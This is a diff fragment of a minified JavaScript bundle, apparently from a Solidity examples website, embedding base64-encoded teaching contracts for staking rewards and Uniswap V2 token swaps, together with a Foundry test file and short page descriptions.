ZnVuY3Rpb24gcmV3YXJkUGVyVG9rZW4oKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkCiAgICAgICAgICAgICsgKHJld2FyZFJhdGUgKiAobGFzdFRpbWVSZXdhcmRBcHBsaWNhYmxlKCkgLSB1cGRhdGVkQXQpICogMWUxOCkKICAgICAgICAgICAgICAgIC8gdG90YWxTdXBwbHk7CiAgICB9CgogICAgZnVuY3Rpb24gc3Rha2UodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB1cGRhdGVSZXdhcmQobXNnLnNlbmRlcikgewogICAgICAgIHJlcXVpcmUoX2Ftb3VudCA+IDAsICJhbW91bnQgPSAwIik7CiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gX2Ftb3VudDsKICAgICAgICB0b3RhbFN1cHBseSArPSBfYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPiAwLCAiYW1vdW50ID0gMCIpOwogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IF9hbW91bnQ7CiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyKG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVhcm5lZChhZGRyZXNzIF9hY2NvdW50KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgKICAgICAgICAgICAgKAogICAgICAgICAgICAgICAgYmFsYW5jZU9mW19hY2NvdW50XQogICAgICAgICAgICAgICAgICAgICogKHJld2FyZFBlclRva2VuKCkgLSB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSkKICAgICAgICAgICAgKSAvIDFlMTgKICAgICAgICApICsgcmV3YXJkc1tfYWNjb3VudF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UmV3YXJkKCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICB1aW50MjU2IHJld2FyZCA9IHJld2FyZHNbbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKHJld2FyZCA+IDApIHsKICAgICAgICAgICAgcmV3YXJkc1ttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgICAgIHJld2FyZHNUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBzZXRSZXdhcmRzRHVyYXRpb24odWludDI1NiBfZHVyYXRpb24pIGV4dGVybmFsIG9ubHlPd25lciB7CiAgICAgICAgcmVxdWlyZShmaW5pc2hBdCA8IGJsb2NrLnRpbWVzdGFtcCwgInJld2FyZCBkdXJhdGlvbiBub3QgZmluaXNoZWQiKTsKICAgICAgICBkdXJhdGlvbiA9IF9kdXJhdGlvbjsKICAgIH0KCiAgICBmdW5jdGlvbiBub3RpZnlSZXdhcmRBbW91bnQodWludDI1NiBfYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdXBkYXRlUmV3YXJkKGFkZHJlc3MoMCkpCiAgICB7CiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA+PSBmaW5pc2hBdCkgewogICAgICAgICAgICByZXdhcmRSYXRlID0gX2Ftb3VudCAvIGR1cmF0aW9uOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVpbnQyNTYgcmVtYWluaW5nUmV3YXJkcyA9IChmaW5pc2hBdCAtIGJsb2NrLnRpbWVzdGFtcCkgKiByZXdhcmRSYXRlOwogICAgICAgICAgICByZXdhcmRSYXRlID0gKF9hbW91bnQgKyByZW1haW5pbmdSZXdhcmRzKSAvIGR1cmF0aW9uOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZShyZXdhcmRSYXRlID4gMCwgInJld2FyZCByYXRlID0gMCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHJld2FyZFJhdGUgKiBkdXJhdGlvbiA8PSByZXdhcmRzVG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLAogICAgICAgICAgICAicmV3YXJkIGFtb3VudCA+IGJhbGFuY2UiCiAgICAgICAgKTsKCiAgICAgICAgZmluaXNoQXQgPSBibG9jay50aW1lc3RhbXAgKyBkdXJhdGlvbjsKICAgICAgICB1cGRhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbih1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHJpdmF0ZSBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCA8PSB5ID8geCA6IHk7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="}],Ym=`

                    This is a minimal example of a contract that rewards users for staking their token.

                    Code is a stripped down version of Synthetix StakingRewards.sol

                    Staking Rewards

                    // SPDX-License-Identifier: MIT
@@ -5211,7 +5211,7 @@ Topics
         external
         returns (bool);
 }
-
                    `,Ym=({prev:s,next:a})=>r.jsx(u,{version:Wm,title:Gm,description:Bm,html:fm,prev:s,next:a,codes:Vm}),Rm="0.8.24",Xm="Uniswap V2 Swap",vm="Uniswap V2 swap",Nm=[{fileName:"UniswapV2SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWMlN3YXBFeGFtcGxlcyB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9ST1VURVIgPQogICAgICAgIDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVVuaXN3YXBWMlJvdXRlciBwcml2YXRlIHJvdXRlciA9IElVbmlzd2FwVjJSb3V0ZXIoVU5JU1dBUF9WMl9ST1VURVIpOwogICAgSUVSQzIwIHByaXZhdGUgd2V0aCA9IElFUkMyMChXRVRIKTsKICAgIElFUkMyMCBwcml2YXRlIGRhaSA9IElFUkMyMChEQUkpOwoKICAgIC8vIFN3YXAgV0VUSCB0byBEQUkKICAgIGZ1bmN0aW9uIHN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHVpbnQyNTYgYW1vdW50SW4sIHVpbnQyNTYgYW1vdW50T3V0TWluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBXRVRIIGFtb3VudCwgYW1vdW50c1sxXSA9IERBSSBhbW91bnQKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4odWludDI1NiBhbW91bnRJbiwgdWludDI1NiBhbW91bnRPdXRNaW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBkYWkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDMpOwogICAgICAgIHBhdGhbMF0gPSBEQUk7CiAgICAgICAgcGF0aFsxXSA9IFdFVEg7CiAgICAgICAgcGF0aFsyXSA9IFVTREM7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBEQUkgYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1sxXSA9IFdFVEggYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1syXSA9IFVTREMgYW1vdW50CiAgICAgICAgcmV0dXJuIGFtb3VudHNbMl07CiAgICB9CgogICAgLy8gU3dhcCBXRVRIIHRvIERBSQogICAgZnVuY3Rpb24gc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW5NYXgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluTWF4KTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudE91dERlc2lyZWQsIGFtb3VudEluTWF4LCBwYXRoLCBtc2cuc2VuZGVyLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwoKICAgICAgICAvLyBSZWZ1bmQgV0VUSCB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudEluTWF4IC0gYW1vdW50c1swXSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgZGFpLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbk1heCk7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgzKTsKICAgICAgICBwYXRoWzBdID0gREFJOwogICAgICAgIHBhdGhbMV0gPSBXRVRIOwogICAgICAgIHBhdGhbMl0gPSBVU0RDOwoKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcFRva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgICAgICBhbW91bnRPdXREZXNpcmVkLCBhbW91bnRJbk1heCwgcGF0aCwgbXNnLnNlbmRlciwgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gUmVmdW5kIERBSSB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICBkYWkudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRzWzBdKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBhbW91bnRzWzJdOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBzd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRJbiwKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbiwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKCiAgICBmdW5jdGlvbiBzd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbk1heCwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0KCmludGVyZmFjZSBJV0VUSCBpcyBJRVJDMjAgewogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGU7CiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWw7Cn0K"},{fileName:"UniswapV2SwapExamplesTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCB7CiAgICBVbmlzd2FwVjJTd2FwRXhhbXBsZXMsCiAgICBJRVJDMjAsCiAgICBJV0VUSAp9IGZyb20gIi4uLy4uLy4uL3NyYy9kZWZpL3VuaXN3YXAtdjIvVW5pc3dhcFYyU3dhcEV4YW1wbGVzLnNvbCI7CgphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJTd2FwRXhhbXBsZXNUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYyU3dhcEV4YW1wbGVzIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMlN3YXBFeGFtcGxlcygpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgLy8gU3dhcCBXRVRIIC0+IERBSQogICAgZnVuY3Rpb24gdGVzdFN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IHdldGhBbW91bnQgPSAxZTE4OwogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogd2V0aEFtb3VudH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRNaW4gPSAxOwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHdldGhBbW91bnQsIGRhaUFtb3VudE1pbik7CgogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIiwgZGFpQW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRHZShkYWlBbW91bnRPdXQsIGRhaUFtb3VudE1pbiwgImFtb3VudCBvdXQgPCBtaW4iKTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHRlc3RTd2FwTXVsdGlIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50TWluID0gMTsKICAgICAgICB1bmkuc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50SW4od2V0aEFtb3VudCwgZGFpQW1vdW50TWluKTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRJbiA9IDFlMTg7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRJbik7CgogICAgICAgIHVpbnQyNTYgdXNkY0Ftb3VudE91dE1pbiA9IDE7CiAgICAgICAgdWludDI1NiB1c2RjQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4oZGFpQW1vdW50SW4sIHVzZGNBbW91bnRPdXRNaW4pOwoKICAgICAgICBjb25zb2xlMi5sb2coIlVTREMiLCB1c2RjQW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRHZSh1c2RjQW1vdW50T3V0LCB1c2RjQW1vdW50T3V0TWluLCAiYW1vdW50IG91dCA8IG1pbiIpOwogICAgfQoKICAgIC8vIFN3YXAgV0VUSCAtPiBEQUkKICAgIGZ1bmN0aW9uIHRlc3RTd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiB3ZXRoQW1vdW50fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIHdldGhBbW91bnQpOwoKICAgICAgICB1aW50MjU2IGRhaUFtb3VudERlc2lyZWQgPSAxZTE4OwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudE91dChkYWlBbW91bnREZXNpcmVkLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBkYWlBbW91bnRPdXQpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBkYWlBbW91bnRPdXQsIGRhaUFtb3VudERlc2lyZWQsICJhbW91bnQgb3V0ICE9IGFtb3VudCBvdXQgZGVzaXJlZCIKICAgICAgICApOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gdGVzdFN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIC8vIEJ1eSAxMDAgREFJCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRPdXQgPSAxMDAgKiAxZTE4OwogICAgICAgIHVuaS5zd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoZGFpQW1vdW50T3V0LCB3ZXRoQW1vdW50KTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRPdXQpOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dERlc2lyZWQgPSAxZTY7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPQogICAgICAgICAgICB1bmkuc3dhcE11bHRpSG9wRXhhY3RBbW91bnRPdXQoYW1vdW50T3V0RGVzaXJlZCwgZGFpQW1vdW50T3V0KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJVU0RDIiwgYW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRFcSgKICAgICAgICAgICAgYW1vdW50T3V0LCBhbW91bnRPdXREZXNpcmVkLCAiYW1vdW50IG91dCAhPSBhbW91bnQgb3V0IGRlc2lyZWQiCiAgICAgICAgKTsKICAgIH0KfQo="}],Hm=`

                    swapExactTokensForTokens sells all tokens for another.

                    +`,Rm=({prev:s,next:a})=>r.jsx(u,{version:Bm,title:Gm,description:Vm,html:Ym,prev:s,next:a,codes:fm}),Xm="0.8.24",vm="Uniswap V2 Swap",Nm="Uniswap V2 swap",Hm=[{fileName:"UniswapV2SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWMlN3YXBFeGFtcGxlcyB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9ST1VURVIgPQogICAgICAgIDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVVuaXN3YXBWMlJvdXRlciBwcml2YXRlIHJvdXRlciA9IElVbmlzd2FwVjJSb3V0ZXIoVU5JU1dBUF9WMl9ST1VURVIpOwogICAgSUVSQzIwIHByaXZhdGUgd2V0aCA9IElFUkMyMChXRVRIKTsKICAgIElFUkMyMCBwcml2YXRlIGRhaSA9IElFUkMyMChEQUkpOwoKICAgIC8vIFN3YXAgV0VUSCB0byBEQUkKICAgIGZ1bmN0aW9uIHN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHVpbnQyNTYgYW1vdW50SW4sIHVpbnQyNTYgYW1vdW50T3V0TWluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBXRVRIIGFtb3VudCwgYW1vdW50c1sxXSA9IERBSSBhbW91bnQKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVR